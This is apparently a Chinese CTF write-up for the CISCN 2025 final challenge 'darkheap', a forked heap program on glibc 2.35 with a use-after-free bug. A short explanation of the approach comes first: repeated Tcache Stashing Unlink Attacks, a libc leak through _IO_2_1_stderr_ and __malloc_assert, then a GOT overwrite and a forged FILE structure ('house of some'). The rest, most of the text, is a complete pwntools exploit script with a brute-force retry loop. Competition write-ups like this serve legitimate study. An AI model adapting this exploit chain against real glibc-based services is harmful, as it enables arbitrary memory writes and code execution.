原文发在https://a1b2rt.cn/archives/ciscn-2025-finall-darkheap
题目概述
题目很简单就是会fork子进程,之后在子进程里面实现了一个简单的堆程序,libc是2.35的,存在UAF漏洞,但是没有show,而且最多只能运行子进程256次

解法
没有show,libc版本也是2.35,这个时候已经存在tcache的加密机制了,所以我们只能使用Tcache Stashing Unlink Attack这个攻击手段
思路很显然,由于程序会fork子进程出来,我们可以先在一个子进程里面使用两次Tcache Stashing Unlink Attack,使得tcache中存在一个libc的指针指向_IO_2_1_stderr_,一个指向topchunk,之后修改_IO_2_1_stderr_结构体用于泄露,修改topchunks来触发__malloc_assert用于刷新_IO_2_1_stderr来实现libc的地址泄露。
之后在第二个子进程里面使用两次Tcache Stashing Unlink Attack,使得一个tcache指向_IO_2_1_stderr+48,一个tcache指向_IO_2_1_stdout_用来来实现fake_IO_file的修改,同时,我们先申请得到_IO_2_1_stderr+48,来篡改存放_IO_2_1_stdout_指针的tcache链表指向libc GOT表中的__strlen_avx2@got,之后我们篡改__strlen_avx2@got为exit,篡改_IO_2_1_stdout_为fake_IO_file,之后使用house_of_some来实现攻击就好
注意:由于高版本的libc的随机化程度很高,基本上libc基地址末4位地址全为0,所以这样的打法的概率大概为1/16,就算libc只有末三位地址为0,也为1/256,还在能接受的范围之内
完整exp:
from pwn import *
from pwn_std import *
from SomeofHouse import HouseOfSome
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
libc=ELF("/home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6")
def add(index,size):
sla("Choice:",str(1))
sla("Index:",str(index))
sla("Size:",str(size).encode())
def edit(index,content):
sla("Choice:",str(2))
sla("Index:",str(index))
sa("Content:",content)
def dele(index):
sla("Choice:",str(3))
sla("Index:",str(index))
def wait_leak_marker(timeout=2):
data = p.recvuntil(b'\x00'*8, timeout=timeout)
if not data or b'\x00'*8 not in data:
return False
return True
def run_once():
global p, lb
p = getProcess("123", 13, './pwn1')
# now we malloc 7 chunks to put in tcache bin
for i in range(7):
add(i,0x80)
# now we malloc 7 chunks to put in small bin
for i in range(7,14):
add(i,0x80)
add(0xf,0x10)#guard chunk
for i in range(14):
dele(i)
add(0xf,0x1500)
# 需要想办法在top_chunk上面残留一个地址
add(0,0x1500-0x30)
add(1,0x1500)
add(2,0x1500)
add(3,0x1500)
add(4,0x1500)
dele(1)
dele(3)
dele(4)
dele(2)
dele(0)
add(0,0x1500)
dele(0xf)
# add(0xf,0xa0)
# 现在我们去篡改small bin->bk指向的堆块沿着bk指针向后数第7个堆块的指针为_IO_2_1_stderr_
edit(13,p64(0)+p16(0xb6a0-0x10))
# 触发堆块合并
for i in range(7):
add(i,0x80)
add(7,0x80)
for i in range(7):
add(i,0x90)
for i in range(7,15):
add(i,0x90)
add(0xf,0x10)#guard chunk
for i in range(15):
dele(i)
add(0xf,0x500)
# 现在我们去篡改small bin->bk指向的堆块沿着bk指针向后数第7个堆块的指针为top_chunks
edit(13,p64(0)+p16(0x3550-0x10))
for i in range(7):
add(i,0x90)
# gdbbug(cmd)
add(10,0x5a0-0x10)
add(7,0x90)
# 触发一次__malloc_assert来实现泄露地址
add(8,0x80)# -->> _IO_2_1_stderr_
edit(8,p64(0x8000 | 0x800 | 0x1000)+p64(0)*3+p8(0))
add(9,0x90)
edit(9,p64(0)*5+p64(0x10))
add(10,0x1500)
if not wait_leak_marker(timeout=0.5):
return False
lb=uu64(rc(6))-libc.symbols['_IO_2_1_stdout_']
print("lb: "+hex(lb))
return True
while True:
try:
if run_once():
break
except EOFError:
pass
except Exception:
pass
try:
p.close()
except Exception:
pass
###########现在已经得到的完整的libc地址,接下来再去攻击libc的got表就好###########
###########篡改libc GOT表中的__strlen_avx2@got为某个exit地址来人为实现刷新io的操作
# now we malloc 7 chunks to put in tcache bin
for i in range(7):
add(i,0xe0)
# now we malloc 7 chunks to put in small bin
for i in range(7,14):
add(i,0xe0)
add(0xf,0x10)#guard chunk
for i in range(14):
dele(i)
add(0xf,0x1500)
add(0,0x1500)
dele(0xf)
# 现在我们去篡改small bin->bk指向的堆块沿着bk指针向后数第7个堆块的指针为_IO_2_1_stdout_
edit(13,p64(0)+p64(lb+libc.sym["_IO_2_1_stdout_"]-0x10))
# 触发堆块合并
for i in range(7):
add(i,0xe0)
add(7,0xe0)
# now we malloc 7 chunks to put in tcache bin
for i in range(7):
add(i,0xf0)
# now we malloc 7 chunks to put in small bin
for i in range(7,14):
add(i,0xf0)
add(0xf,0x10)#guard chunk
for i in range(14):
dele(i)
add(0xf,0x100)
# 现在我们去篡改small bin->bk指向的堆块沿着bk指针向后数第7个堆块的指针为_IO_2_1_stderr_+48,为了篡改tcache的指针
edit(13,p64(0)+p64(lb+libc.sym["_IO_2_1_stderr_"]+48-0x10))
#触发堆块合并
for i in range(7):
add(i,0xf0)
add(10,0x520-0x10)
add(7,0xf0)
add(0,0xf0)
payload=p64(lb+libc.sym["_IO_2_1_stderr_"]+131)*2+p64(lb+libc.sym["_IO_2_1_stderr_"]+132)
payload+=p64(0)*4+p64(0x21b780+lb)+p64(0x0000000000000002)+p64(0xffffffffffffffff)
payload+=p64(0)+p64(lb+0x21ca60)+p64(0xffffffffffffffff)+p64(0)
payload+=p64(lb+0x21a8a0)+p64(0)*6+p64(lb+0x217600)
payload+=p64(((lb+libc.sym["_IO_2_1_stdout_"])>>12)^(lb+0x21a090))
#
edit(0,payload)
add(1,0xe0)#-->>_IO_2_1_stdout_
add(2,0xe0)#-->>libc-got
edit(2,p64(0)+p64(lb+libc.sym["exit"]))
libc_base=lb
libc.address = libc_base
environ=libc.symbols['__environ']
fake_file_start=environ+0x400
hos = HouseOfSome(libc=libc, controled_addr=fake_file_start)
payload = hos.hoi_read_file_template(fake_file_start, 0x400, fake_file_start, 0)
#伪造IO_FILE结构体实现任意读写
edit(1,payload)
# forkbug('pwn1',cmd)
add(3,0xf0)
dele(3)
dele(3)
hos.bomb(p)
ita()
